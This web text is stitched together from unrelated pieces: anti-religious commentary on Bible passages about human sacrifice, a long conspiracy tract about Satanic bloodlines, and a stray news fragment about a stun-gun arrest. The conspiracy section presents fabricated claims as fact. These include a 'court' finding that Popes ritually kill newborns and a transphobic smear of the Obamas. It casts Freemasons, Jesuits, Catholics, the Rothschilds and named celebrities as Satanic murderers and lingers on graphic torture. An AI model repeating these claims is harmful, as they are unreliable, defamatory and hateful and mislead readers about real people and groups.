Even more peculiar is God’s obsession with first-born sons. In Exodus 13:2 the Lord said “Consecrate to me every first-born that opens the womb among Israelites, both man and beast, for it belongs to me.” Later it says that you can redeem (replace) an ass with a sheep and that you must redeem a child for an unspecified price. It is clear from the context that “consecrate” means a burning sacrifice. These priests are guilty of theft and kidnapping. Since any sins in the Old Testament were punishable by death, these priests used the threat of death to extort food and money from their followers. What do we call a scum-bag that threatens to kill your kids unless you pay a ransom? A kidnapper! If these priests were alive today they would be in prison with Abraham.
However, in Leviticus 27:28-29, the Lord allows for no redemptions. “Note also that any one of his possessions which a man vows as doomed to the Lord, whether it is a human being or an animal, or a hereditary field, shall be neither sold nor ransomed; everything that is thus doomed becomes most sacred to the Lord. All human beings that are doomed lose the right to be redeemed; they must be put to death.” I must admit that I am a bit confused by this contradiction, but it might only apply to slaves in your possession. Not that it makes any difference. A human sacrifice is a human sacrifice, and it is just sick.
Bible Passages About Ritual Human Sacrifice
Jephthah Burns His Daughter
“At that time the Spirit of the LORD came upon Jephthah, and he went throughout the land of Gilead and Manasseh, including Mizpah in Gilead, and led an army against the Ammonites. And Jephthah made a vow to the LORD. He said, “If you give me victory over the Ammonites, I will give to the LORD the first thing coming out of my house to greet me when I return in triumph. I will sacrifice it as a burnt offering.”
“So Jephthah led his army against the Ammonites, and the LORD gave him victory. He thoroughly defeated the Ammonites from Aroer to an area near Minnith – twenty towns – and as far away as Abel-keramim. Thus Israel subdued the Ammonites. When Jephthah returned home to Mizpah, his daughter – his only child – ran out to meet him, playing on a tambourine and dancing for joy. When he saw her, he tore his clothes in anguish. “My daughter!” he cried out. “My heart is breaking! What a tragedy that you came out to greet me. For I have made a vow to the LORD and cannot take it back.” And she said, “Father, you have made a promise to the LORD. You must do to me what you have promised, for the LORD has given you a great victory over your enemies, the Ammonites. But first let me go up and roam in the hills and weep with my friends for two months, because I will die a virgin.” “You may go,” Jephthah said. And he let her go away for two months. She and her friends went into the hills and wept because she would never have children. When she returned home, her father kept his vow, and she died a virgin. So it has become a custom in Israel for young Israelite women to go away for four days each year to lament the fate of Jephthah’s daughter.” (Judges 11:29-40 NLT)
God Commands Burning Humans
[The Lord speaking] “The one who has stolen what was set apart for destruction will himself be burned with fire, along with everything he has, for he has broken the covenant of the LORD and has done a horrible thing in Israel.” (Joshua 7:15 NLT)
Josiah and Human Sacrifice
At the LORD’s command, a man of God from Judah went to Bethel, and he arrived there just as Jeroboam was approaching the altar to offer a sacrifice. Then at the LORD’s command, he shouted, “O altar, altar! This is what the LORD says: A child named Josiah will be born into the dynasty of David. On you he will sacrifice the priests from the pagan shrines who come here to burn incense, and human bones will be burned on you.“ (1 Kings 13:1-2 NLT)
He [Josiah] executed the priests of the pagan shrines on their own altars, and he burned human bones on the altars to desecrate them. Finally, he returned to Jerusalem. King Josiah then issued this order to all the people: “You must celebrate the Passover to the LORD your God, as it is written in the Book of the Covenant.” There had not been a Passover celebration like that since the time when the judges ruled in Israel, throughout all the years of the kings of Israel and Judah. This Passover was celebrated to the LORD in Jerusalem during the eighteenth year of King Josiah’s reign. Josiah also exterminated the mediums and psychics, the household gods, and every other kind of idol worship, both in Jerusalem and throughout the land of Judah. He did this in obedience to all the laws written in the scroll that Hilkiah the priest had found in the LORD’s Temple. Never before had there been a king like Josiah, who turned to the LORD with all his heart and soul and strength, obeying all the laws of Moses. And there has never been a king like him since. (2 Kings 23:20-25 NLT)
Human Sacrifice
Chastised a little, they shall be greatly blessed, because God tried them and found them worthy of himself. As gold in the furnace, he proved them, and as sacrificial offerings he took them to himself. In the time of their visitation they shall shine, and shall dart about as sparks through stubble; (Wisdom 3:5-7 NAB The Book of The Wisdom of Solomon is mostly in Catholic versions of the Bible.)
Child Sacrifice
And this became a hidden trap for mankind, because men, in bondage to misfortune or to royal authority, bestowed on objects of stone or wood the name that ought not to be shared. Afterward it was not enough for them to err about the knowledge of God, but they live in great strife due to ignorance, and they call such great evils peace. For whether they kill children in their initiations, or celebrate secret mysteries, or hold frenzied revels with strange customs… (Wisdom 14:21-23 RSV) The Book of The Wisdom of Solomon is mostly in Catholic versions of the Bible. This passage condemns human sacrifice but acknowledges that it did happen by early God worshipers.
Humans are Fuel for Fire
As for you, son of man, prophesy: Thus says the Lord GOD against the Ammonites and their insults: A sword, a sword is drawn for slaughter, burnished to consume and to flash lightning, because you planned with false visions and lying divinations to lay it on the necks of depraved and wicked men whose day has come when their crimes are at an end. Return it to its sheath! In the place where you were created, in the land of your origin, I will judge you. I will pour out my indignation upon you, breathing my fiery wrath upon you, I will hand you over to ravaging men, artisans of destruction. You shall be fuel for the fire, your blood shall flow throughout the land. You shall not be remembered, for I, the LORD, have spoken. (Ezekiel 21:33-37 NAB)
Burn Nonbelievers
“Suppose you hear in one of the towns the LORD your God is giving you that some worthless rabble among you have led their fellow citizens astray by encouraging them to worship foreign gods. In such cases, you must examine the facts carefully. If you find it is true and can prove that such a detestable act has occurred among you, you must attack that town and completely destroy all its inhabitants, as well as all the livestock. Then you must pile all the plunder in the middle of the street and burn it. Put the entire town to the torch as a burnt offering to the LORD your God. That town must remain a ruin forever; it may never be rebuilt. Keep none of the plunder that has been set apart for destruction. Then the LORD will turn from his fierce anger and be merciful to you. He will have compassion on you and make you a great nation, just as he solemnly promised your ancestors. “The LORD your God will be merciful only if you obey him and keep all the commands I am giving you today, doing what is pleasing to him.” (Deuteronomy 13:13-19 NLT)
- THE RIGHT HAND PATH - THE CREATION OF ENLIGHTENMENT!!
The science of the creation of implant addiction energy blockages is an ancient technology which vampirises all humanity, turning humanity into a spiritual battery whose energy is used by the ancient families who control this technology in order to increase their energy enormously.
All human beings have been implanted with mind control Blockages in previous lifetimes and during this lifetime by absorbtion from the environment.
Aleister Crowley's OTO - Ordo Templi Orientis uses Ritual Sex - Homosexuality, Bestiality and Pederasty, Ritual Drugs, Ritual Torture, BDSM, Tatoos which implant energy blockages into the psychic body in order to degenerate and pervert, Ritual Human and Animal Sacrifice, Ritual blood drinking and Cannibalism. Also the castration Rites of Attis and Cybele. Also coprophagia, the eating of human excrement.
"Sex by will, Love by will -no caring and no sharing -no feelings ... Sex is the route to power. Scarlet women! They are the secret to the doorway. Use and consume. Feast. Drink the power through them. Waste and discard them." L Ron Hubbard, Snr.
"Sex with the demon possessed is a diabolical means for transforming the individual and eventually completely taking over of the brain and body by "the evil spirit." That's been one way of taking control of an organization using high ranking members, by taking over their minds and bodies. Yet, how could Pike, Mazzini and their associated conspirators get persons to submit to such a diabolical process ?" Sonny René Stermole
All these guys are Implanted with sexual and drug addiction energy blockages in order to be vampirised by the real Sorcerers.. Satanism, Black Magic, Ordo Templi Orientis OTO, Aleister Crowley, Luciferianism, Wicca
The Fascist Nazi satanic Golden Dawn - George Bernard Shaw’s mistress, Florence Farr, was a witch in the Order of the Golden Dawn, and the Satanic Fabian society was also an integral partner with the Golden Dawn, itself basically an extension of the Theosophical society.2 When Blavatsky passed away in 1891, leadership of the worldwide theosophical movement passed to Annie Besant. Through her membership in the Satanic Fabian socialists, she became close friends with its leading members, which included men like head of MI6 British Satanic Secret Service H.G. Wells, and fascist eugenicists Aldous and Julian Huxley, and Satanic Lord Bertrand Russell.
To be a Satanist all you have to do is adhere to the Rituals of Satanism.
Satanism for thousands of years is defined by Ritual Sex - Homosexuality, Bestiality and Pederasty, Ritual Drugs, Ritual Torture, BDSM, Tatoos which implant energy blockages into the psychic body in order to degenerate and pervert, Ritual Human and Animal Sacrifice, Ritual blood drinking and Cannibalism. Also the castration Rites of Attis and Cybele. Also coprophagia, the eating of human excrement. All these guys are Implanted with sexual and drug addiction energy blockages in order to be vampirised by the real Sorcerers..
Thus, Satanic Luciferians are condemned to be as demonic Lucifer, cut off from God, cut off from conscience, cut off from empathy, cut off from their hearts, Psychopaths ALL!!
A human has a heart, empathy and conscience.
GUSTAV MOREAU - ORESTES DRIVEN MAD BY CONSCIENCE
Luciferians are only pretending to be human, they are not human, they are psychopaths and they extol psychopathy in all their propaganda. Their existentialist propaganda where Don Juan fucks thousands of women, kills, and all without regret, all without feeling anything, all without empathy and conscience - the definition of an existentialist, the definition of a psychopath, the definition of a Satanist. Don Juan does not want lovers, he only wants victims!!
Satanists might as well be Aliens, Snakes, Reptilians as they learn how to become psychic vampires in order to live psychically outside the body and take over the bodies of their sons, living for thousands of years as the heads of the richest family corporations, "The Family", where every member is traumatised, mindsplit, taught in Satanic public schools, and satanic generational ivy league universities, to rule the World.
"Sex with the demon possessed is a diabolical means for transforming the individual and eventually completely taking over of the brain and body by "the evil spirit." That's been one way of taking control of an organization using high ranking members, by taking over their minds and bodies." - Sonny René Stermole
Yet Satanists think that they are a new species higher than humans because they are taught empathy and conscience is weakness. Because humanity is so weak then they are to be used as slaves, conquered, crushed, psychic food, sacrificed, killed, slaughtered, "Anything Strong" - Aleister Crowley.
Satanists think that compassion is weakness just like Hitler and Stalin and Mao who together tortured and killed hundreds of millions of human beings.
These ancient families must keep humanity fooled and in the Matrix in order to maintain their monopoly on energy blockage technology. See http://one-evil.org/content/bloodline.html and http://one-evil.org/content/people.html
ENERGY ENHANCEMENT REPORT.. I haven't missed one single day of meditation since Guru Purnima last July. Not all 30 minutes meditation but still at least 10-15 minutes before going to bed (sometimes a bit exhausted). Want to allow some time when I wake up but know exactly what it is not being the same man waking up than the one going to bed. Still, I haven't yet thrown anything through the window!
One night last week I had a very nice experience. I was feeling like being in a cave with rocks all around me. The image was surprisingly clear and I really felt this had nothing to do with me driving the show or imagining what I wanted to see. I then saw a sword starting to smash the ceiling to make light enter. The seen kinda zoomed out and I saw a white magician holding the sword (looking very much like Gandalf). I was very excited (not jumping around but felt really happy). The magician turned his head to the right, toward me, and it was you! Wow.
At that moment I asked you: "What's next? What's next" and your answer was: "Take the sword! Take the sword!" I took it and tried to spot one dark area but the ceiling seemed too high, I started to go smash rock everywhere around me since everything was black rocks anyway. At that moment I felt more like a participant. I lost my focus and got out of my meditation quite amazed.
As I kept my eyes closed while stretching my legs, I really felt like my body was falling in front of me, as if my spirit was up for a ride. Being worried to bump my head on the table corner in front of me, I went to bed and got back the same feeling that was there for a few moments. I wanted to have my spirit out but I somehow freak out a bit (not the first time it happens to me) and fell asleep. But that was still a good one, for a start!
Love and light to you, big love and big light!
As the Earth is a Factory for the production of Enlightened beings and Karma is the method of refinement - as you give, so you receive.. many people are not yet ready for Enlightenment.
However once the student gets hold of the idea that Energy Enhancement Meditation can Ground Karma he understands that passing through Evil Karma is not necessary, that a New Method of Evolution is in place.... To Speed up the Process of his Enlightenment.
Ground Karma, Sparkle the World
Remove Energy Blockages, Fill the World with Light..
The Buddha said that, "if I talk, I will be mis-understood", "if I write what I write will be altered and new verses added", "If I create an organisation it will be infiltrated and taken over by psychopaths". He said, "There is Nothing I can do here!!" and he prepared to withdraw from the body and consciously ascend to heaven...
But all the Gods came to see him and said, "There are few who are ready, just on the point of Enlightenment, and just a word from you could be sufficient to cause Enlightenment in them". And the Buddha was satisfied and resolved to stay. And for another 40 years he spoke in the Purple Grove...
As Dante said at the gates of hell, "Abandon hope all ye who enter here!!"
This Satanic Program has been in force for 10,000 years before the time of Satanic Babylon and has been the cause of the degeneration and destruction of seventy-three empires and civilisation. The aim is destruction of human potential and evolution. Stopping this is a large task whose start is individual Enlightenment, the Right Hand Path, the Energy Enhancement removal of Mind Control Energy Blockages.
Ground Karma, Sparkle the World
Remove Energy Blockages, Fill the World with Light...
The Satanic Methods of Control..
a. The 10,000 years old Policy of Poverty - See Austerity and the creation of Austrian Economics by Von Mises and Von Hayek who were bought by Nelson Rockefeller.. Now, Austrian Economics rules UK, EU and USA - Old Rothschild- and Rockefeller hands created Austrian Economics and the Libertarian-Communist dialectic .
b. The creation of all illogical Religions and Philosophies and their infiltration of every level of society..
Ever wonder why this world is like it is?
The infiltration and control by generational, ten thousand years old dynastic families of the upper levels of society of army, religion, business and banking through Paganism and Satanism - the Old Religion -
B y injecting energy blockage addiction implants into the heart and head to vampirise their spiritual energies and remove empathy and conscience and using these Rituals to inject sexual and drug energy blockage implants to addict its members by..
Satanic murder cults among European royalty, nobility and the Knights Templar - Giles de Rais, Vatican, Jesuits, Mafia, Baphomet, LaVey, Freemasonry, Mazzini, Pike, Baroness LaLaurie, Roman Occult Rituals of Lupercalia, Ninth Circle Child Sacrifice
It is not just the Jesuits as some would argue. It is much more deep and old. The satanic murder cults among European royalty, nobility and the Knights Templar preceded the formations of the Jesuits in 1531.[1] It is certain because Knights Templar, French Nobleman Gilles de Montmorency-Laval aka Baron Giles de Rais, the lord of 15 princely domains and Duke of Brittany (England), was executed for secret Roman Catholic Black Mass Blood Sacrifices on October 26, 1440, almost a hundred years before the Jesuits were formed.[2]
“Henriet and Poitou told tales of how he delighted in bathing in the boys’ blood and cutting off their heads himself so that he could wash his face and beard in the gore. They said he often had his servants stab a boy in the jugular so he could shower in the spurting blood. He sat on their chests and cut across part of their throats so they bled slowly to death. Others he hanged until they were nearly dead and then cut their throats. Still others had all their limbs cut off, or were ripped open so he could see their hearts and entrails. After death, all the bodies and their clothes were burned in the castle’s great kitchen furnaces. The servants spoke of obscene torture and blood-splattered walls in each of his castles. When Gilles returned to the court, dressed from head to toe in white to indicate his repentance.”
The precise number of Baron Gilles Roman Catholic Coven victims is not known, as most of the bodies were burned or buried just as in the case of Lady Baroness Marie Delphine Macarty-LaLaurie in French New Orleans. However, the number of the Gilles’ Coven murders is generally placed between 80 and 200; a few have conjectured numbers upwards of 600. The victims ranged in age from six to eighteen and included both sexes.[3]
We are also quite certain about what the Knights Templar’s supreme Satanic Goat God had been, the BAPHOMET. It also seems certain that during Baron Gilles de Rais’ era around the 15th Century that the Knights Templar human sacrifices had been dedicated to a god or demon in the form of a Goat, below. In the case of Lady Baroness LaLaurie’s New Orleans Coven, we aren’t sure of their idol. They allowed Baroness Lalaurie to escape prosecution and a proper investigation because her victims were Africans subjected to human bondage. It is more probable than not that she sailed to France until the scandal of ritualistic mass murder, torture and mayhem of Africans discovered at her mansion died down. However, throughout the history of the European Order of Knights, their one consistent Demon and God had been the ram goat– the Baphomet.
So, it is more probable then not to begin with the secret blood covenant Knights Templar, then the Jesuits, Freemasons and Mafia as currently secretly involved in the 21st Century continuation of the Black Mass/Satanic Blood Sacrifice Circles.[4]
However, we face a serious dilemma in challenging the crimes of Satanic cults, because society and our system of laws does not recognize ritualized and spiritual crimes without a Corpus Delicti (“body of crime“). It is also extremely difficult to prove ritualistic crimes because of ultra blood oath secrecy of its religious doctrines and among its members. There are also over 2 million Masons in North America and nearly 5 million worldwide.
Freemasonry is made up of many individuals in the legislative national and state branches of the government. They are in the national and state judicial branches. They are in the all branches of the military and local law enforcement agencies. They are in schools, universities and corporations. They are in the music, television and movie industry, all subordinate and obedient to the Masonic Grand Lodges and the Baphomet- SATAN. They all, “Ride the GOAT” to carry on a vast global campaign of ritualized spiritual warfare, and a criminal enterprise to cover-up and veil their crimes.
According to The Temple and The Lodge and other Masonic literature, Robert the Bruce was also well-connected to the Satanic Merovingian Bloodline.[36]
Robert the Bruce, Antichrist & the Blood Sacrifice
Today, the secret Satanic Merovingian Bloodline circles play an important part in the secret Anti-Christ conspiracy and movement to return the Satanic Merovingian Bloodlines to world domination. Their belief system will be partly based on Celtic religion which Robert the Bruce’s descendants and JACOBITES are seeking to restore includes Satanic Ritual Human Blood Sacrifice that some believe brought Robert the Bruce to power.[37] In Europe, Ritual Human Blood Sacrifice for Luciferian power, fortune and wealth never ended. It went underground as the Roman Catholic Black Mass ultimately becoming an important part of ILLUMINATI secret ritual ceremonies, and the Ninth Satanic Circle.
In the occult, the celebration of the end of Purification of Mary is part of a Babylonian/Roman Lupercalia festival called, Oimbolc. Oimbolc celebrates mid-winter (the midpoint between the winter solstice and the spring equinox) and the return of the Sun. Beginning February 2nd candles were lit to welcome the sun and the women began their purification process for the upcoming fertility rites of spring. The Roman Catholic Church adopted this custom from Irish pagans who served the “goddess” whom they called “Brigit“.[104]
LUPERCALIA [the feast of Lupercus, the mighty wolf hunter] is an ancient Roman BLOOD SACRIFICE (human- highest sacrifice) celebration of Lupercalia held in honor of Lupercus, the deified great hunter of Rome. This celebration also included worship of the goddess of fertility, Venus.[105] Lupercus is the god of shepherds. The Greeks called Lupercus by the name of “PAN.” In the Middle East, Pan was called “Baal“.[106] PAN is the guardian god of ARCADIA.
Saint Dominic was the Vatican’s first inquisitor-general of the 20-year military Albigensian Crusade or Cathar Crusade (1209–1229) initiated by Pope Innocent III to eliminate Catharism in the Languedoc district of France. The fanatical Saint Dominic along with the Magna Carta Roman Catholic Knights Templar led the torture and slaughter of the Cathars throughout old Europe, but failed to discover the location of their treasures and Christian ancient relics, and the HOLY GRAIL.[118]
Saint Dominic had the Cathars gathered together wherever they were found, and burned to death and mass murdered them by the tens of thousands. If these Roman Catholic fanatics slaughtered and mass murdered their own people over religious doctrine, what more would they do to Africans and African descendants that they considered to be “inferior creatures”.
In French New Orleans and Louisiana, the first bishop of New Orleans and the brother of a French Master Freemason, Bishop Louis-Guillaume-Valentin Dubourg, enslaved Africans. The Jesuits, Capuchins, Uruslines, and the DOMINICAN Sisters openly exploited and enslaved Africans.
Jackson Square, is a historic park in the French Quarter that stands in front of the Roman Catholic Saint Louis Cathedral designed and built by Knights Templar/Freemasons. This is the cathedral attended zealously by Roman Catholics Madams’ Marie Catherine Laveau and Marie Delphine Macarty- Lalaurie.
This is the place where the ghosts and “SPIRITS” of “Secret High Level FREEMASON” Capuchin Friar Pere Antoine, Madame Marie Laveau and the “tortured souls of thousands of Africans” are said to inhabit. It is the grounds of Madame Laveau’s secret Satanic Black Mass, and not far from French Knight of Saint Louis descendant Baroness Lalaurie’s Mansion of Satanic Blood Sacrifice of Black People. Lest you ever bound to forget the Horror and EVIL just down the street from Jackson Square and Saint Louis Cathedral at Baroness Lalaurie’s Mansion on Royal Street in the French Quarter.
I’ll remind you of some horrific details:
“According to rumor, over a dozen disfigured and maimed slaves were manacled to the walls or floor. Several had allegedly been the subject of gruesome medical experiments.
The exact details are unclear; owing to the horrific nature of the crime, many details were either swept under the rug or embellished. Perhaps the most gruesome of Mme. LaLaurie’s killings was discovered by a young pickpocket by the name of Christopher Knowles. Knowles had broken into the LaLaurie residence with intention of stealing jewelry and other valuables. He broke in through the window and on the floor he discovered a bucket filled with mutilated human genitalia. Next to the bucket was a body. The body appeared to have been force fed the contents of the bucket until he eventually died from choking.
LaLaurie was even reported to have tortured and killed local activist Adam Wescount, reportedly gouging out his eyes and letting crows devour his remains.
One man looked as though he had been victim of some bizarre makeshift sex change. Another one had a hole in his head where a stick had been inserted to “stir his brains”. A woman was trapped inside a small cage where her arms and legs had been badly broken and then reset at odd angles, making her appear as some sort of “human crab.” Another woman had her arms and legs removed and patches of her flesh had been sliced off in a circular motion to make her appear as a giant caterpillar.
Some had their mouths stuffed with animal excrements, sewn shut, and had then starved to death. Others had their hands sewn to different parts of their bodies. One woman had her entrails pulled out and was secured to the floor by her own intestines.
A small boy of about twelve had the flesh on half of his face peeled back, revealing muscle, veins, and so forth. The wound had since been infested with disease and insects.
Two men were found to have had their tongues sewed together. One girl wore a suit made from the skin of several skinned slaves, the limbs of which were hacked and use to decorate the grand gore chamber.
Most disturbing of all was an elderly man whose penis was cut into 5 equal strands, each of which was attached to a hook and the body hoist to the ceiling, with two candles placed in his eye sockets to form a macabre chandelier.
Most of the victims were found dead. Those who were still alive begged to be put out of their misery and died shortly after.
Also discovered in the attic were teacups and saucers, encrusted with a “red substance.” There were several bottles lying about with what was assumed to be the same red substance, later identified as blood. Actually some press accounts from early 1834 are marginally more explicit than the Bee, though their reliability is difficult to ascertain. For example, the Religious Intelligencer of 10 May 1834 reports the discovery of Seven poor unfortunate slaves… some chained to the floor, others with chains around their necks fastened to the ceiling, and one poor man upwards of sixty years of age chained hand and foot and made fast to the floor in a kneeling position. His head bore the appearance of having been beaten until it was broken, and the worms were actually seen to be making a feast of his brains!!
A woman had her back literally cooked (if the expression may be used), with the lash; the very bones might be seen projecting through her skin!
Cited by Courtney Barker, Misrecognized: Looking at Images of Black Suffering and Death, unpublished PhD dissertation, Duke University, 2008, p.32. There seems little doubt that even abuse of this sort would have been more than enough to cause Lalaurie to be described as “a demon, in the shape of a woman” by the New Orleans press.”
What went on at the Lalaurie Mansion in the French Quarter is no different than what went on at the 15th Century French Castle of Baron Giles de Rais. It was the secret Roman Catholic Black Mass Blood Sacrifice raising the favor of SATAN. Jackson Square and the Saint Louis Cathedral is filled with paramount ancient EVIL spirits of the past like Friar Pere Antoine, Madame Marie Laveau, and the Black Mass “Blood Sacrifices” straight out of Medieval France.
What is an “old fashioned masquerade party” in New Orleans?
First, Tina, Beyonce and Solange are LUCIFERIANS, Masters of Deception, deliberately deceiving their fans and the masses. Second, New Orleans’ masquerade balls are old world pagan occult rituals that had been restricted to white French secret societies- Bloodline ILLUMINATI of the New World Order. Third, old fashioned masquerade balls had been going on for almost 200 years before Blacks were allowed to participate.[121]
Fourth, the three secret founders that established the Mardi Gras/Masquerade Balls in New Orleans on a stable basis were Luciferians ALBERT PIKE (Freemason, Knights of the Golden Circle, Ku Klux Klan) , Judah Benjamin (Confederate Secretary of State) and John Slidell (Confederate States of America’s commissioner to FRANCE). Judah Benjamin was an agent of the Satanic House of Rothschild living in New Orleans in 1857.[122]
Fifth, old fashioned New Orleans’ Mardi Gras/Masquerade Balls are based on Roman occult rituals of Lupercalia linked to the Knights Templar/Rosicrucian utopia ARCADIA with PAN as god.
Knights Templar Not Only Shared the Horse, They Shared the Bed As Well
Amongst the Blasphemy Charges against the Knights Templar were the following: “… 2. That they then received the kiss of the templar, who officiated as receiver, on the mouth, and afterwards were obliged to kiss him in ano, on the navel, and sometimes on the generative member; … 4.
That they practiced unnatural vice together …” “Jean de St. Loup, who held the office of master of the house of templars at Soisiac, said that, on his reception into the order, he received the injunction not to have intercourse with women, but, if he could not persevere in continence, he might have the same intercourse with men; and others were told that it would “be better to satisfy their lust among themselves, whereby the order would escape evil report, than if they went to women.’ “
This is a secret, strange and ancient perverted ritual passed down thru the generations for population control, and ultimate power and control of individuals that even some Knights objected to and refused to engage in.
But, it is an actual historical ritual adopted by the ILLUMINATI and the Satanic Cabals that has been secretly imposed at the highest levels of the government (Black Obama and his transgendered wife Michael in the White House), the Black Family Structure and Satanic cells mostly through CIA MONARCH/MK ULTRA Trauma Based Mind Control Programming. It is absolutely bizarre snuff beyond the Sign Post Ahead, it is on the Outer Limits of ordinary Human Imagination.
In late May 2014, FRENCH Catholic Jesuit head Adolfo Panchon, above, announced his resignation after the International Common Law Court of Justice in Brussels linked him to international Ninth Circle Satanic Child Sacrifice Cult ceremonies.[29] Evidence of a Catholic Jesuit Order document called the “Magisterial Privilege” was presented in court by the Chief Prosecutor. The record dated Dec. 25 1967 was said to show that every new Pope was required to participate in Ninth Circle Satanic Ritual sacrifices of newborn children, including drinking their blood.[30]
“Documents from Vatican secret archives presented to court clearly indicate that for centuries the Jesuits had a premeditated plan to ritually murder kidnapped newborn babies and then consume their blood,” the Chief Prosecutor told the five international judges and 27 jury members.[31]
“The plan was born of a twisted notion to derive spiritual power from the lifeblood of the innocent, thereby assuring political stability of the Papacy in Rome. These acts are not only genocidal but systemic and institutionalized in nature. Since at least 1773, they appear to have been performed by the Roman Catholic Church, Jesuits and every Pope.”[32]
Well, if you believe the HollyWeird Jesuit Rosie Perez and I certainly do, then she says that the path to uncovering the mysterious cause/force behind Bobbi Kristina being intentionally rendered near BRAIN DEAD leads to transexual ANGELA BASSETT. Follow the mysterious, Bassett leads us to another devout CATHOLIC of an ancient FRENCH Catholic Satanic Circle, and FRENCH Order of Ursuline (Blood Witch) Nuns in New Orleans- the infamous Voodoo Priestess Madame Marie Laveau. Madame Laveau leads us to the BLOOD SACRIFRICE Da Vinci Code Merovingian Race, Enochian Magic, Cabbalism, the Saint Louis Catholic Cathedral, Knights Templar, an ancient FRENCH Ninth Satanic Death Circle of Old New Orleans, and the Priory of Sion.
Kabbalism & Knights Templar
Cabbalism and Kabbalistic rituals secretly brought out of Solomon’s Temple in Jerusalem by the Knights Templar lay at the religious foundation of Freemasonry, Rosicrucians, Skull and Bones, the Scottish Rite freemasons, Hermetic Order of the Golden Dawn, Ku Klux Klan, and the BEAST 666 Aleister Crowley’s Ordo Templi Orientis. Raziel is an (fallen) archangel “Keeper of Secrets” and “Angel of Mysteries” that transmitted KABBALAH (Jewish Mysticism) to King Solomon and the rabbis.[49]
Saint Louis Cathedral- (Orleans) New Orleans, (New France) Louisiana
Saint Louis IX with Merovingian Race Crystal Ball
New Orleans was founded on May 7, 1718. It was named after the Duke of Orleans– the future King Louis XV of France (1710- 1774). As early as 1726, King Louis XV of France decided that three Ursuline Nuns from Rouen accompanied by the Jesuits should go to New Orleans to establish a hospital for poor sick people and to provide education for young girls of wealthy [Merovingian-Capetian- Satanic JESUS Bloodline] families.[50] The St. Louis Cathedral is named for Catholic Saint Louis. He was Louis IX, King of France. Louis IX (1214 –1270), commonly Saint Louis, was a Capertian King of France who reigned from 1226 until his death. Louis was crowned in Reims at the age of 12, following the death of his father Louis VIII the Loin.
His mother, Blanche of Castile, above with the CLAW hand symbol, was the Queen Mother Regent that really ruled the kingdom in his minority. [51] Queen Mother and King Louis IX led the Seventh Holy Crusade and European invasion of the holy lands from 1248 to 1254.[52] The Capertians were sometimes called “the Third Race of [DRAGON] Kings“, the Merovingians being the first, and the Carolingians being the second. The first Capetian King was known as Hugh Capet.[53] The Royal Capetian and Carolingians bloodline of France are Satanic Bloodlines closely intertwined with the Merovingians.[54] They believe that “they” rule by the divine and sacred right of God.
Queen Mother Blanche of Castile was the third daughter of King Alphonso VIII (1155- 1214) and Queen Eleanor of Spain. Blanche’ mother was also commonly known as Eleanor of England. She was the sixth child and second daughter of King Henry II of England and Eleanor of Aquitaine.[55]
Himmler & King Henry the Fowler with Merovingian Crystal Ball
These bloodlines go back to Henry the Fowler. Henry the Fowler (Heinrich der Finkler or Heinrich der Vogler) (876 – 936) was the Duke of Saxony from 912 and the first of the Ottonian Dynasty of German kings and emperors, he is generally considered to be the founder and first king of the medieval German state, known until then as EAST FRANCIA. An avid hunter, he obtained the epithet “the Fowler” because he was allegedly fixing his birding nets when messengers arrived to inform him that he was to be king.[56] Reichsführer SS-1 Henrich Himmler believed that he was the reincarnation of King Henry, the Fowler.[57]
The First Merovingian Race, Da Vinci Code & the Saint Louis Cathedral
Dagobert I (603- 639) was the king of Austrasia (623–634), King of all the Franks (629–634), and King of Neustra and Burgundy (629–639). He was the last king of the Merovingian JESUS Bloodline Dynasty to wield any real royal power. Dagobert was the first of the Frankish Kings to be buried in the royal tombs at Saint Denis Basilica.[58]
Dagobert II- Two Finger Symbol for Benediction with Merovingian Crystal Ball
Dagobert II (650- 679) was the last Merovingian to hold the title “Holy Roman Emperor.” The Merovingian “priest-kings” who were believed by their subjects to have magical powers derived from their long red hair. These “priest-kings” were the constant subject of rumors of witchcraft, fortune telling and crystal-ball gazing, among others.
In fact, portraits of Merovingian Kings customarily depict them holding one of these crystal balls in the left hand. Since the time of Carolingian Clovis I (Charlemagne), the Merovingians had presided over the Holy Roman Empire, but by the time Dagobert II was born, the power of the throne had already been weakened, with authority increasingly being usurped by court chancellors known as “Mayors of the Palace”.[59]
JESUS with Merovingian Crystal Ball-Two Finger Symbol of Benediction, Salvator Mundi (1570)Tiziano Vecelli or Tiziano Vecellio (c. 1488/1490– 1576), known in English as Titian was an Italian painter the most important member of the 16th-century Venetian School.[60]
Merovingian JESUS Bloodlines & Saint Louis Cathedral in New Orleans
A little more than a thousand years later, Capuchin Monk Father Dagobert de Longuory (a.k.a. Père Dagobert) arrived in New Orleans from Quebec, Canada in 1722. In 1745, he became priest of Saint Louis Cathedral, and later was appointed as Vicar General of the Diocese. He was active regionally for over 50 years and died in 1776.[61] Father Père Dagobert was an ancestral “priest-kings” Merovingian Bloodline endowed with same demonic magickal powers and agenda of his ancestors. Even today, the Merovingian Bloodline are generally believed to be the Satanic Bloodline of the Anti-Christ.[62] The Ancient European Satanic Bloodlines weren’t fleeing the old country. They were coming to America and landed in NEW ORLEANS to begin a new clandestine SATANIC UNDERWORLD.
The Merovingians and Knights Templars
In the popular Da Vinci Code conspiracies,[63] the Priory of Sion is a powerful hidden society founded with one objective, to restore the Merovingian House to the throne of France and the continent of Europe. During the crusades and European armed invasion of the ancient holy lands, the Priory of Sion was directly responsible for the existence of the Knights Templar (the Poor Knights of Christ and the Temple of Solomon) whose military wing they are alleged to have been.[64]
Saint Louis Cathedral & Lucifer’s Servants- Freemasonry
The imposing central tower of St. Louis Cathedral was designed by one of America’s most infamous European Freemason architects, Benjamin Henry Latrobe. He received a commission from the New Orleans Diocese to begin building the tower in 1819, during the vicarage of Spanish “Vicar and Ecclesiastical Judge of New Orleans” Capuchin Friar Pere Antoine (Francisco Ildefonso Mareno).[67] From 1803- 1813, Benjamin Henry Latrobe of the Masonic Order designed and constructed the South Wing of the Capital in Washington DC under President Thomas Jefferson.[68] Latrobe died in New Orleans during one of its Yellow Fever plagues.
Saint Louis Cathedral & Capuchin Friar Pere Antoine
Antonio de Sedella aka Friar Pere Antoine, O.F. Cap (1748-1829) from Sedalla, Spain served as the leading religious authority of the Catholic Church during the late 18th and early 19th centuries. His ghost along with the ghost of Madame Marie Laveau is said to walk an alley now named for him which runs alongside the city’s cathedral.[69]
A police officer used a stun gun to subdue a woman who yelled at her in a crowded electronics store, and prosecutors are reviewing whether to pursue charges against the customer.
While Elizabeth Beeland was trying to purchase a CD player at a Best Buy on Nov. 26, she stepped outside to talk on her phone, leaving her credit card. Concerned about the sudden exit, a store clerk suspected Beeland was using a stolen card and called over a police officer.
